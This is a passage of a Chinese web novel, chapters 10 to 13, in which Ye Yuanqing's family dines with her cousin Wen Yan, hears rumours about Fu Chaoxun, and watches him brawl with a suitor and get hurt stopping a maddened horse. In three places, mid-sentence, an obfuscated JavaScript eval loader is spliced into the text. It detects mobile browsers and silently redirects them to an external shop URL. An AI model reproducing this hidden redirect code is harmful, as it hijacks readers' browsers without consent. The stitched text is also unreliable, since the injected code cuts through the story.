温衍看向叶卓,笑了笑,然后拿起邱盈面前的碗,为她盛了一碗莲子粥,笑回道:“看来卓哥哥年龄大了,记性就不好了。还记得我们小时候经常和邱盈妹妹一起玩,那时候卓哥哥还说,长大了要娶她为妻。” “噗!”叶宁刚喝进嘴里的粥差点笑喷了出来,她用帕子掩住唇,笑道:“还有这种事情?二哥哥一直不娶妻,莫不是在惦记邱盈姐姐?” “叶宁。”叶卓皱眉厉色一声,“别闹。” 叶宁忙道:“好好好!不开玩笑,不过我二哥哥今后娶妻可不是随便娶的。” 温衍把粥放到邱盈面前,接话道:“我家邱盈妹妹才十七岁,正是碧玉年华的年纪,也不是随便什么年纪的人都嫁。” 叶卓感觉自己被内涵到了,脸色不太好,不过这几人当中他确实是年纪最大的,单单比温衍都大了五岁。他无奈地扬了扬眉头,看了一眼叶元倾,没再说话。 叶元倾面上虽有笑意,却不接他们的话,看着他们你一句我一句地回怼。 温衍忙活完了,突然问叶宁:“叶宁妹妹,昨日和傅二公子见面可还顺利?” 叶宁放下筷子,笑回道:“挺顺利的。” 温衍道:“那就好,我听说傅朝寻也去了,挺稀罕。” 叶宁忙点头:“是挺稀罕,也不知他来的目的是什么。” 温衍问:“没有闹什么乱子吧?他最近好像在查一个非常重要的案子,这个人心狠手辣,不分黑白,千万别招惹他。” 叶宁回道:“没闹乱子,从进家门到走都没说几句话,也没提案子的事。” 温衍应道:“此人虽然不怎么样,但毕竟是傅二公子的弟弟,叶宁妹妹日后避着点。过些日私塾就要开课了,妹妹若无事,可以和元倾妹妹过去帮我教教课。” 叶宁一听要做女师,来了兴趣,只是还未回应,兄长叶卓就帮她拒绝了:“宁儿做不了女师,我父亲不会答应。元倾妹妹时下也到了谈婚论嫁的年纪,自是不易抛头露面的,你若是找不到合适的先生,我闲了可以过去帮忙。” 温衍也拒绝的干脆,笑说:“卓哥哥这么忙的人,我怎能麻烦你,这事由我和元倾妹妹定夺。” 叶元倾饭都快吃饱了,几个人还在聊。 温衍突然又说起了傅朝寻:“你们可知傅朝寻前段时间都做了什么?” 叶宁忙问:“做了什么?” 温衍压低了一些嗓音道:“他把曾经救过他的一位恩师给杀了。” “杀了?”叶宁惊了一声,“恩师也敢杀?” 10. 第 10 章 以前只觉得傅朝寻冷血无情,没想到会到这般地步。 温衍道:“我也是听人说的,说他残忍的剁掉了恩师的手脚,那恩师在他年幼时还救过他的性命。” 温衍讲起了傅朝寻那段过往:“他七岁那年也不知是他父亲故意丢弃他还是真的走丢了,他一个人被困在了大山里,天黑以后山里出现很多野狼,差点把他吃掉,关键时刻一位上山砍柴的男子救了他。那男子把他带回家中,养了他两三年,他拜了男子为师,跟男子学了一手射箭的本事。后来,傅亲王找到他后就把他带回了亲王府,自此以后他就和那位恩师断了联系。前段时间傅朝寻突然带人围了那座山,一声不响地把那位恩师给杀了,连个原因也没有。” “这么残忍?”叶宁吸了口凉气。 邱盈也觉得脊背发凉。 温衍继续道:“是挺残忍的,但也是傅朝寻能够做出来的事情,毕竟是他父亲培养出来的,当年他不也抓着叶府的官员不放吗,还一回回地参你们。” 叶宁连连点头:“确实,这人太可怕了。” 她又担忧道:“只可惜他是傅二公子的弟弟,我以后要怎么面对他。” 温衍安抚道:“宁妹妹别怕,你除了有三位兄长,还有我和将军府的两位哥哥,我们一定会保护好你的。” “温衍。”叶元倾放下手中筷子,突然连名带姓地叫他,“你都说了只是听说,没有确切证据不要盲目揣测他人,人性难辨,有时候听到的和看到的不一定都是真的。” 傅朝寻杀恩师这件事前世并未发生,叶元倾和他成婚后曾见过那位恩师。 那恩师品性不好,嗜酒成性,他家中有一位母亲,母亲年事已高还体弱多病,他不仅不会照顾母亲,还经常酒后折磨于她。 傅朝寻当初住在山里的时候,也受过他非人的折磨,至今背上还留有一道很深的伤疤,那道伤是恩师醉酒后用刀砍的,入骨三分,差点要了他的性命。 因着他救过傅朝寻的命,傅朝寻即便再有权有势,也从未动过他。 如今他重生回来,突然对恩师动手,她想一定是有原因的,而这个原因,或许与他们前世发生的悲剧有关,因为在她上断头台时,她曾在人群中看到过那位恩师,当时他紧紧地盯着她,在砍刀驾到她脖子上时,他还露出了得意的笑容。 那个笑容意味不明,有些毛骨悚然。 时下温衍这般议论傅朝寻,她心情很是复杂,傅朝寻是一个什么样的人她最清楚。 房间里安静了一瞬,温衍见叶元倾认真起来,尴尬地笑了,忙道:“妹妹说的是,是哥哥不够严谨,不该随便平价一个人,哥哥不对。” 他面颊微红,端起酒壶倒了一杯酒,笑说:“我自罚一杯。” 叶宁见情况不对,立即夺走了他手中的酒杯,打圆场道:“温衍哥哥何必当真,元倾姐姐也只是说说。” 温衍觉得叶元倾不只是说说,以前她从未这般认真地在旁人面前指责他,她的神情和语气一点也不像是在开玩笑。 可能她很不喜欢他在旁人面前议论别人。 他懊悔地在心中叹气,生怕惹她不开心,看着她的脸色道:“这本就是哥哥的不对,是哥哥的问题,哥哥一定会改。” 叶元倾不想把气氛搞得太尴尬,亲自为他夹了几道菜,缓和了点语气道:“别光顾着说话,饭菜都凉了,快些吃。” 温衍见她笑了,终是放心了。 饭后,温衍要留在将军府住宿,叶卓却一再阻止,他道:“今日将军和两位兄长都不在家中,将军府里又有两个待嫁姑娘,依你的身份不适合留宿,你跟我回太师府,我给你安排住宿。” 温衍连忙拒绝:“不必了,我不便打扰太师府,还是留在将军府的好,我之前在这里住过很多年,早就当做了自己的家。” 叶卓道:“你当做自己的家有什么用,如今男未婚女未嫁,还需谨慎些。” 叶卓说的这么直白,温衍也不生气,依旧笑道:“卓哥哥说的是,我们是表兄妹,其关系和堂兄妹自然是不一样的,你们同是一族血脉,你作为兄长如此担忧,我能理解,但我还是不便叨扰太师府。” 温衍话里话外都在表明自己和叶卓不同。 温容见两位公子越说越离谱,急忙道:“今晚衍儿跟着卓儿去太师府住一晚,几个兄弟许久未见了,过去一起聊聊天。” “姑母。”温衍不太想去太师府,“若是姑母这般不愿留我,我回家便是。” 温容忙道:“傻孩子,这是什么话。” 叶元倾看了一眼天色,对温衍道:“天色不早了,表哥跟着卓哥哥回太师府吧!明一早你再过来,我还指望你帮我应付姜齐呢!” 温衍最听叶元倾的话,既然她这般说,他也不好再推脱,温声回道:“好,我听妹妹的,妹妹让我去哪里睡我就去哪里睡。” 叶卓微不可见地冷笑一声,心里骂道:虚伪的狗东西。 叶宁和叶卓带着温衍去了太师府,一路上两位公子还在谈小花鱼。 叶卓埋怨温衍:“饭间只听你在那里说傅朝寻,都没有心情吃小花鱼。” 温衍一张俊美的脸颊溶在夜色里,遗憾地回道:“我也没吃几口,不过我觉得今天的味道和以往不一样。” 叶卓回味:“我也觉得有点不一样。” 温衍美目一闪:“难道今天不是姑母亲手炸的?” 叶宁轻笑道:“有的吃就不错了,二婶已经好几年不下厨了。” 叶卓沉吟道:“难怪。” —— 叶元倾送走三人后就回了闺房,她坐在铜镜前,望着镜中年轻的脸蛋,心情低落了起来。 她拿起桌子上的红色手串,轻碾着上面的白玉珠子,冰冰滑滑的触感让她回忆起曾经。 记得她和傅朝寻成婚的第二年,有一天,消失大半年的他突然从外面回来,碰巧她正在洗漱,他进屋后坐在桌前静静地等着她。 她洗完出来,擦着湿漉漉的头发走到他面前,看着他消瘦的脸颊,惊喜之余又莫名的生气,她轻声问他:“吃饭了吗?要不要让厨子去准备?” 他的侧脸被烛光照得橙红,抬头望着她,闻着她身上的香气,闪动了几下眼眸又避开了。 他把桌子上的小盒子推到她面前,语气略有生硬地道:“我在佛山买了一颗白玉珠子,人们说这颗珠子可以保平安,你戴上它。” 他说这些话的时候都未看她,等到她拿起珠子在手腕上比划着他才看了一眼,低声问:“要我帮你戴上吗?” 她点着头,把珠子和手递到他跟前。 他牵起她的手,帮她解下手串,将白玉珠子串上去,又重新为她戴上。 晶莹靓丽的白玉珠子格外漂亮,她开心地举起手在烛光下照了又照,感觉他送的这颗比天上的明月还要好看还要耀眼。 她满心欢喜地去给他拿侵衣,他却突然起身说:“我还有要事要办,你先睡。” 她呆愣愣地看他,面上的欢喜渐渐淡去,烛光下他回望着她,动了动唇,最终话也未说就离开了。 这一走又是几个月。 空荡荡的房间里,又剩下她一个人。 那天,她望着漆黑的夜空,麻木地站了一整晚。 后来她想明白了,哪怕心理需求再强烈,她也会想尽一切办法控制住。 控制不住的时候也只有一回,那一回后,她就彻底对他失望了,失望到连与他说话的心情都没有了。 若那次,不是因着叶家门庭没落不敢得罪亲王府,她可能在他父亲拿着那张不足以证明她与人通奸的证据甩在她脸上时,她就彻底离开那个夜夜空守的家了。 人在心灰意冷的时候真的什么也不在乎,什么也不在乎,连眼泪都不会流。 后来,到底是什么东西让她支撑着继续做他的妻子,她完全想不起来,现在也懒得再想了。 她把手串放下,打开温衍让叶绍转交给她的小盒子,小盒子里依旧是一颗闪闪发光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133906|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白玉珠子。 五年了,温衍送了五年同样的白玉珠子,他每送一颗,就代表着离她许给他的承诺更近一点。 以前,她收到后会开心很久,今日她却心情复杂到红了眼睛。 温衍……温衍…… 翌日,叶元倾一大早就被娘亲叫了起来。 晨风习习,叶卓带着叶宁和温衍来到将军府,三人一进门就往叶元倾的闺房去,叶元恒急忙叫住他们:“两位公子且留步,我妹妹可能还在装扮,你们不能进去。” 自家妹妹自然要自家哥哥保护,叶元倾正是待嫁的年纪,即便是堂兄表兄也得守点规矩。 两位公子被叶元恒叫了去,叶宁则一人进了叶元倾的房间。 此时叶元倾已经梳妆完毕,正坐在桌前发呆。 叶宁打量着她,夸赞道:“姐姐今日穿得真漂亮,这一身粉衣,太适合你了。” 叶元倾拉她坐下:“都是官场上的人,不能落了人口舌。” 叶宁见她面色不佳,问道:“姐姐哪里不舒服吗?” 叶元倾捂了一下胸口:“就是有点胸闷,昨晚没有睡好,做了一夜的梦。” 叶宁问她:“姐姐做了什么梦?” 叶元倾回忆梦中血淋淋的场景,拢了一下秀眉道:“记不清了,不过没多大问题,我坐一会就好了。” 叶宁给她倒了一杯茶,说:“姐姐既然不舒服,就留在屋里别出门,我们正好有了赶走姜齐的说辞。待会儿我出去跟他们说,就说你不便见客。” 叶元倾问道:“那要怎么说?可别太过失礼,毕竟父亲和伯父经常与太傅大人打照面。” 叶宁拍了拍她的手:“放心吧!交给我。” 叶元倾不知叶宁又有了什么主意,但是她能这般满心地帮助她,她是非常感动的。 回想前世她嫁给傅朝寻后,有段时间她郁郁寡欢险些生了心病,还是叶宁一遍遍地开解她,才让她熬过了那段痛苦时光。 对她来说无论是前世还是今生,叶宁都是她生命里最重要的人。 她不知这几日为何总是伤感总是回忆,明明下定决心重头再来,可是心情却是极其浮躁的。 或许是从见过傅朝寻之后吧!本是可以安心重头再来的人生,却要把往事赤果果地展现在一个熟人面前,怎么能让她不在意呢? 叶宁见她蹙着秀眉心事重重,以为她在为姜齐提亲的事情犯愁,心情也跟着低落起来。在她心里,元倾姐姐就像一盏为她指引方向的明灯,她身上有太多她喜欢和她要学习的地方。 元倾姐姐以前是一个非常开朗的人,不知为何,从几个月前开始,她就有点不一样了。 她的眼睛里好像住着一个人,一个得了抑郁的人,总是默默地出神,默默地发呆,有时候眼神空洞洞的,好似没了魂。 元倾姐姐的突然变化让她疑惑,她曾旁敲侧击地问过叶元恒,叶元恒说:“可能长大了有了一些心思。” 叶宁不这么认为,回忆这几日发生的事情,她觉得元倾姐姐应该遇到了难解的麻烦,而这个麻烦应该与傅朝寻有关。 那日傅朝寻去太师府,傅朝寻总是盯着元倾姐姐看,元倾姐姐也总是偷偷地观察他,昨日温衍说起傅朝寻,元倾姐姐还莫名地生气了。 他们,真的不认识吗? “姐姐。”叶宁拉住她的胳膊,温声道:“明日我们去青山好不好?二哥哥明日无事,让他带我们去青山吃果子,我听说青山的秋景特别美,我真的很想和姐姐一起去。昨日若不是因为我,姐姐早就看到美丽的秋景了。” 叶元倾一大早心情就莫名地低落,时下听着叶宁安慰的话,心里暖暖的。 “小姐。”小丫鬟夏枝突然跑来,急喊道:“小姐,出事了。” 叶元倾蓦地一惊:“怎么了?” 夏枝回道:“姜齐公子和傅三公子在西陵街打起来了。” “傅三公子?傅朝寻?”叶宁疑惑,“他们两个怎么会打起来?” 11. 第 11 章 傅朝寻本与姜齐无任何交集,并且太傅府与亲王府走动也比较密切,太傅大人还曾做过傅亲王的先生,家中小辈们也都知晓两府的关系,虽然傅朝寻性子冷了些,但是念及父亲的面子他也不会轻易对太傅府的人动手,而姜齐作为一个晚辈,更不敢招惹傅朝寻。 这俩人打起来挺稀奇的。 “夏枝你慢慢说。”叶元倾道,“先说说原因。” 夏枝缓了口气,道:“回小姐,方才听王管家说,姜公子原是过来提亲的,但是刚出了府不久就被傅公子拦住了,傅公子带了一批衙门里的人,依查案之由非要把姜公子带走,姜公子不依,说今日他要提亲,提完亲再配合。可能姜公子念及家姐在皇宫刚升为妃子,对傅公子说话非常不客气。傅公子先是好言了一会,见姜公子硬是不从,这便掏出了剑准备强行带人。结果,结果姜公子开口大骂,骂傅公子……” 夏枝有些说不出口。 叶宁忙问:“骂什么?快说。” 夏枝小声回道:“骂傅公子是他父亲的走狗,还骂他,有娘生没娘养。” “姜齐当真这么骂?”叶宁惊讶地瞪大了眼睛,“这小子人不大胆子挺大的,这话都能骂出口?虽说事实如此,但也不能在大庭广众之下这样骂人。” 叶元倾拢起秀眉问道:“傅朝寻先动的手?他伤的严重吗?” 夏枝回道:“姜公子还没骂完就被傅公子寻刺了一剑,然后双方就打了起来,后来还是卫将军过来阻止住了。姜公子肩膀上受了伤,傅公子手上受了伤,看情况,姜公子的略微严重一些。” 叶元倾问道:“现在人在哪里?” 夏枝回道:“还在西陵街,姜公子受伤后就躺在地上不走,说是傅公子故意谋杀他,他要告到皇宫里去,还非要傅公子偿命,又差人去皇宫里告诉他家姐。卫将军不好处理,就让他们先在原地等着,还叫来了医师为他们处理伤口。” 叶宁啧啧嘴道:“没想到姜齐这么有种,连傅朝寻都敢硬刚,傅朝寻有命案要查,还得了皇家指令,他不配合查案,就是妨碍公务,就算找他家姐也没有用。” “我们先去前堂看看。”叶元倾说着快步出了房间。 二人到了前堂里,只见叶元恒带着叶卓和温衍慌慌张张往外出。 “大哥,你们要去哪里?”叶元倾叫住他们。 “父亲让我们去西陵街一趟。”叶元恒轻叹了口气,“这事不小,姜齐这小子遇到麻烦了,父亲不便出面,让我们过去瞧瞧。” “我也要去。”叶宁最爱凑热闹,她拉起叶元倾的手,“我和元倾姐姐都要去。” 温衍忙道:“打打杀杀的场面,两位妹妹不易见,先在府上等消息。” 叶宁走到叶卓跟前,甩了甩他的胳膊,撒娇道:“二哥哥带上我们嘛!我想看看姜齐被打的样子。” 叶卓看了一眼叶元倾,见她神情略有紧张,思虑一瞬道:“好,你们两个跟上,但是坐在马车里不许下来。” 温衍急忙阻止:“万万不可,本是姜齐要来提亲,元倾自是不便露面的。” 他说罢走到叶元倾跟前,抓起她的手,温声说:“妹妹且在家里等着,我和元恒哥哥一定会把此事处理好。” 叶元倾抽了一下手,回道:“表哥哥无需担心,我陪着宁妹妹在马车里等着便是。” 叶宁对温衍道:“有三个哥哥在,你怕什么。” 温衍怕叶元倾不开心,便道:“那好,我们快去。” 管家准备了三匹骏马和一辆马车,几人出了家门快速向西陵街赶去。到了西陵街头,只见街上围了很多人,大家聚在一起三三两两地说着什么,看到他们过来又立马闭上了嘴,纷纷撤到街道两旁让出路。 蹲在姜齐跟前的卫将军慕寒看到来人,急忙迎上前去。 几人下马给卫将军行礼。 叶元恒瞥了一眼躺在地上的姜齐,对慕寒道:“卫将军有劳了。” 慕寒正在为此事头疼,他既不想得罪亲王府,又不想得罪太傅府,看到三位公子过来,就像看到了救星,他忙道:“公子不必多礼,说来这事并不大,公子们年轻气盛打打闹闹都是小事。” 他指了指躺在地上开始咿咿呀呀哀嚎的姜齐,一脸愁容地道:“本来这事我想为两位公子调解调解,但是宫里还有要事需要我去处理。公子们和两位公子熟悉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133907|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦请帮忙劝解劝解,皇宫里的事务我实在耽误不起。” 慕寒想拍拍屁股走人,他在城中当值,京城贵公子们打架的事情他早就司空见惯了,公子们个个都趾高气昂,一言不合就开打,还都因着家世一个比一个难搞,他每次遇到这种事情能跑就跑。 叶元恒明白慕寒的心思,又因着姜齐是向将军府提亲才出了事,自是不想把事情闹大,他好言道:“卫将军公务在身不能耽误,您且放心,我们会酌情处理。” “好。”慕寒应了一声就带着兵将离开了,走时还遣散了围观人群。 姜齐肩膀上的伤确实严重,医师手忙脚乱地包扎了一阵子才帮他止住血。 卫将军只找了一名医师过来,医治从一到场就一直蹲在姜齐跟前给他处理伤口,完全没注意到倚在壁角旁血流不止的傅朝寻。 傅朝寻自从看到叶元恒以后,就开始盯着停在路边的马车看,手上的鲜血打湿了衣衫都未察觉。 叶元恒和叶卓以及温衍先是走到姜齐跟前慰问。 叶元恒蹲下身抓住姜齐的手,依十分担忧的语气道:“姜公子受苦了,你且忍一会,待会儿我带你去医馆里好生治疗。” 姜齐看到叶元恒,本是情绪不稳定的他,满是委屈地大喊道:“叶哥哥,有人要杀我,你要为我做主呀!今天本是我和元倾姐姐的好日子,却不想被一个狂徒给伤了,弟弟咽不下这口气,哥哥你看,肩膀流了好多血。” 姜齐长了一张很俊秀的脸,皮肤很白,个头不高,乍一看就像个乳臭未干的小孩子,时下他这般委屈地哭喊,当真不像一个十七岁的人。 叶元恒虽是无奈,但是面子上也得做足了,他安抚道:“姜公子莫要着急,你先起来,我们去处理伤口,处理完了我带你去府上喝茶。” 姜齐躺着不肯起,转头瞥了一眼不远处的傅朝寻,冷哼道:“有人要杀我,我忍不了,除非,除非让他给我道歉。” 让傅朝寻给他道歉? 叶元恒与叶卓互望一眼,无奈地扬了扬眉头。 此时温衍站起了身,看了一眼远处的傅朝寻,见他一直盯着马车看,微拢了一下眉头,动身向他走去。 12. 第 12 章 温衍走到傅朝寻跟前,看了一眼他流血的伤口,想要大事化小,小事化了,弯身给他行了一礼道:“傅公子,姜齐还小,您莫要与他一般见识,这事是他不对,你公务在身,他本该配合,时下你们都受了伤,先回去包扎伤口,待伤情处理完了,你再拿着令牌去太傅府里带人,想那时他也不敢造次。” 今日天气不算好,秋风正盛,吹得路边的树叶肆意飘零。 慕秋凉站直了身子,昂藏七尺,矜贵俊逸的气质即便刚与人打了一架,也未减分毫。 他的一双眼睛非常幽暗深邃,受伤后更加冷然一些,还带着几分未散尽的戾气。 温衍把话说完抬眸看他,被他无形之中透出的压迫感生生镇住。 可能经常行走在刀锋剑口上的缘故,他身上那种独清的气质,和京城里其他贵公子们完全不同,他就像傲然在冰山上的一朵雪莲花,有一种沁人心魄冰凉刺骨的美。 任凭温衍长相再好,在他面前也只算是雨中海棠,太过娇嫩了。 温衍与傅朝寻的大哥傅呈延关系甚好,二人经常下棋,他也曾见过傅朝寻很多次,他对傅朝寻的印象一直都不算好,全然不会因为其大哥对他有一丝改观。 人就是如此奇怪,有时候讨厌一个人毫无根据。 但是因着傅呈延之关系,时下碰了面,温衍觉得他不能当做不认识,这才过来慰问一下。 傅朝寻自他向这边走来神情就开始有了变化,他耐心地听他把话说完,定睛去看他,开口嗓音冷冷清清:“此事与温公子无关,要如何处理我自有主意。” 他如此态度完全在温衍的意料之中,温衍看着他,看着他那张冷峻冷峻的脸,没再说什么,识趣地走开了。 叶宁好奇地掀开车帘向外看,看到姜齐痛哭哀嚎的样子,忍不住笑道:“姐姐,快看姜齐那模样,活跟个撒泼打滚的孩子似的,这要是丢给他一颗糖果,是不是就不再哭闹了。” 叶元倾探头往外看,视线寻了一圈,在一处壁角旁找到了傅朝寻。 他好像受了很严重的伤,身上的白色的衣衫被鲜血染红了一大片。 她脱口问:“医师不是来了吗?怎么不给止血?” 叶宁指了指医师:“来了,正守着姜齐。” 她说罢,看向叶元倾,只见叶元倾正盯着傅朝寻看。 她又向外望去,冲从傅朝寻方向走来的温衍小声喊道:“温衍哥哥,你来一下。” 可能距离太远,温衍没有听见。 “温衍哥哥。”叶宁又喊了一声。 这次叶宁提高了一点嗓音,结果被耳尖的姜齐听到了,他转头看来,蓦地从地上坐起,指着马车道:“元倾姐姐是不是在马车里?” 叶元恒眼皮突突一跳,急忙挡住他的视线道:“没有,姜公子看错了。” 姜齐用一只带血的手把他扒拉到一旁,大喊一声:“元倾姐姐,你是来看我的对不对?你快下来。” 叶宁自知闯祸了,无奈嘀咕一句:“这小子耳朵挺好使。” 她转头看叶元倾,问道:“姐姐,被他发现了,我们怎么办?” 叶元倾沉思了片刻,说:“下去看看。” 叶宁早就在马车里待不住了,连忙钻出了马车。 叶元倾下了马车后先看向不远处的傅朝寻。 路边大树上的黄叶片片凋落,被风卷着堆到了壁角旁,傅朝寻鬓边拂动的秀发如缕缕青烟,在秋风中分外的好看。 他转头向这边望来,隔着远远的距离看着她,清明的眸子里有微光闪烁。二人遥遥相望,目光触碰后叶元倾率先移开了视线。 “元倾姐姐!”姜齐看到她,激动地向她走来,一旁的叶卓见状一把抓住了他的手腕,沉声道:“你流着血,别吓着她。” 姜齐伸手就要把他扒拉开,他却抓得更紧了:“你安静些。” 姜齐愤怒地瞪他一眼,控制了一下情绪,眼含泪光地道:“元倾姐姐我的肩膀好疼,流了好多血。对不起,今日被我搞砸了,但是这事不怪我,是傅朝寻找茬,他想谋害我。” 姜齐说着说着委屈死了,皱着眉头,活脱脱一个孩子模样。 叶宁见他这般,没忍住“噗嗤”一声笑了出来,打量着他道:“我还以为受多大的伤呢!这点小伤口也好意思哭天喊地。” 姜齐上次提亲就被叶宁讽刺了一顿,这次她又过来说风凉话,他气氛地冷哼一声:“这里哪有你说话的份,滚一边……” 他话还没说完,就被叶卓拧了一下手腕,警告道:“嘴巴放干净点。” “啊!”姜齐疼的大叫,“疼疼疼疼……” 叶元倾看向傻愣的医师,问道:“医师怎么还不去包扎伤员?” 医师打了个激灵,忙道:“回姑娘,已经包扎好了,只要姜公子不乱动,就不会流血。” 叶元倾微拢了一下秀眉,往傅朝寻的方向看去,医师也随着她的视线望去,看到傅朝寻后,“呦”了一声,忙道:“是我疏忽,我这就去给傅大人处理伤口。” 医师提着药箱慌忙跑到傅朝寻跟前,行礼道:“傅大人赎罪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133908|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让您久等了,我这就为您包扎伤口。” 傅朝寻把受伤的手递给他,目光还落在叶元倾身上,那边几人在说什么他听不清楚,不过他看到叶元倾从马车上下来,烦躁的心情瞬间变得激动起来。 只是,她过来是看望别人的,看那个要向她提亲的人,并且……她的表哥温衍也在。 温衍,前世里她一直想嫁的人。 本来心情好了一些,一些回忆涌上心头,又让他烦躁不安,他扯走医师手中的纱布,迅速地在受伤的虎口上缠了几圈,然后大步向那几人走去。 姜齐看到傅朝寻过来,急忙往叶卓身后躲避,方才傅朝寻下手可是一点也没有留情,他身材高大,手劲也大,一剑下去恨不得将他劈死,若不是他的贴身护卫武功高强,估计他早就没命了。 叶元倾听着熟悉的脚步声,默默地往叶元恒身后挪了挪。 几个人看到傅朝寻过来,均不说话了,就连叶宁也抓住了自家哥哥的胳膊不敢吭声。 叶元恒前日骂傅朝寻是狗还被妹妹说了一顿,今日见着本尊,感觉有点尴尬,但他还是很有礼貌地行礼道:“傅大人伤情如何?要不要尽快去医馆治疗?” 傅朝寻冲他行了一礼,回道:“无碍,大……公子不必担心。” 他顿了片刻,指了指姜齐:“案情严重,需得谨慎处理,还请叶公子让我将他带走。” 傅朝寻对待叶元恒的态度与旁人极其不同,难得见他这样温和地与人说话,就连叶元恒自己都愣住了。 他前日,刚骂他是狗…… 时下油然升起一种羞愧感。 “不行。”姜齐紧紧抓着叶卓的胳膊,大喊道:“是你伤我在先,先把我们的事情解决了再说办案的事,你知不知道你这是徇私枉法,我可以去皇宫里告你。” 姜齐嘴上喊着,但是一双手却吓得发抖。 叶卓瞥他一眼,觉得他如此抗拒一定别有隐情,傅朝寻是奉皇家命令查案,即便是重要官员也得配合,他这般无理取闹,有点做贼心虚的嫌疑。 叶卓思虑片刻,把姜齐甩到傅朝寻跟前,道:“东街命案情节严重,若是姜公子不想因私心影响到太傅府,最好配合傅大人办案。” 姜齐踉跄了几步,险些撞到傅朝寻身上,他慌忙躲开,冲到叶元恒身后一把抓住叶元倾,带着哭腔道:“元倾姐姐,我没做坏事,我不想跟他走,我还受着伤,特别特别疼,姐姐你救我。” 叶元倾措不及防地被他扯到傅朝寻跟前,有些无措地抽手,但是姜齐却紧紧抓着不放。 13. 第 13 章 可能姜齐养尊宠优惯了,细皮嫩肉的受不住一点疼痛,时下再加上担惊受怕,一时乱了方寸。 傅朝寻本是笔挺地站着,见叶元倾向这边倒来,本能地伸手去扶她,结果温衍抢先一步把她扯进了怀里,揽住她往后退去。 傅朝寻的手僵在半空,皱了一下眉头。 温衍扶着叶元倾站稳脚步,掏出帕子帮她擦着手上沾的血,口中安抚道:“妹妹别怕,哥哥们都在,我一会就带你回家。” 叶元倾垂着头没有做声,任凭他抓着手帮她擦着。 傅朝寻转头去看她,看着她被人温柔地呵护着,眸中神色瞬间变了,他紧了紧手中的剑,揪起姜齐的衣领就走。 姜齐被他拽得踉踉跄跄,连连哭喊道:“姐姐,哥哥,你们快救我。” 傅朝寻办案抓人理所应当,叶元恒无奈叹气道:“你别怕,你若是没做坏事,与此案无关的话,傅大人是不会冤枉你的,也会把你放了。” 也不知姜齐是心虚还是怎么,一直哭喊不停。 “不好了,马癫了,马癫了……”这时候,突然有人大喊一声。 傅朝寻抓着姜齐立即停住脚步,转身望去,只见一匹马儿疯癫似的向这边冲来。 温衍见势不妙,拉着叶元倾就往马车前跑,可是还没跑到跟前,就见马儿调转方向向他们冲来。 温衍护着叶元倾往一旁躲去,马儿却像中了邪一样,追着他们不放。 两个人踉踉跄跄往前跑,马儿疯狂地在后面追,随着“踏踏踏”的马蹄声,马儿很快就冲到了他们跟前。 马儿悲悯嘶鸣,扬起前蹄子就向他们踩去。 温衍大惊一声,慌忙把叶元倾护在身下。 周围的人一片慌乱,眼看马儿就要踩在二人身上,关键时刻,只见傅朝寻飞身跃来,伸臂挡在了马儿跟前,他的一双手臂强劲有力,硬生生抗住了踏下来的马蹄子。 马儿鸣叫一声,开始向他猛烈进攻,他抓住缰绳纵身跃到马背上,轻轻拍着马颈,试图将它安抚,可是马儿好似受到了极大的刺激,开始向不远处的墙壁奔去。 剧烈的摇晃把傅朝寻掀翻在地,他抓起马绳还想翻身上去,谁知马儿突然顶住他的胸口,抵着他就往墙壁上狠狠撞击。 随着“哐当”一声巨响,厚重的墙壁被撞得裂出缝隙,傅朝寻也吃疼地闷哼一声摔在了地上。 “大人……” 几名衙役慌忙跑来,举起长剑刺在了马儿的肚子上,马儿狂跳几步后应声倒地。 两名衙役上前把傅朝寻扶起,发现他胸前一片红肿,担忧问道:“大人你没事吧?” 傅朝寻感觉两眼发黑,他努力站稳脚步,甩了甩发涨的脑袋,刚想开口说“没事”,结果胸口一疼,一口鲜血吐了出来。 衙役急忙叫医师:“医师,快,快来,大人吐血了。” 躲在路边商贩桌子下的医师听到喊声,战战兢兢地爬了出来,他看到倒在血泊中的马儿又愣住了。 衙役大叫他:“愣什么?快来。” “好,好。”医师慌忙跑到傅朝寻跟前。 此时叶元倾和温衍等几人也赶了过来。 叶元倾看到傅朝寻衣衫破乱,胸口通红,眼眶瞬间红了。 傅朝寻看向她,见她安然无恙,低低说了一句:“还好,没伤着。” 熟悉的关切感扑面而来,叶元倾看着他,看着他那双逐渐融化的眼睛,鼻子酸酸的,眼睛也湿润了。 她往后退了一步,别过头,没再看他。 医师帮他检查了胸口,皱着眉头道:“虽然表面看着不是很严重,就怕伤着内脏,时下需要尽快找到更好的大夫治疗,大人切记快快回府休养,万不可乱动。” “这么严重?”叶元恒担忧一声,考虑片刻道:“这里离将军府比较近,傅大人先跟我们回府,我们府上有随军的大夫,治疗这种伤比较在行。” 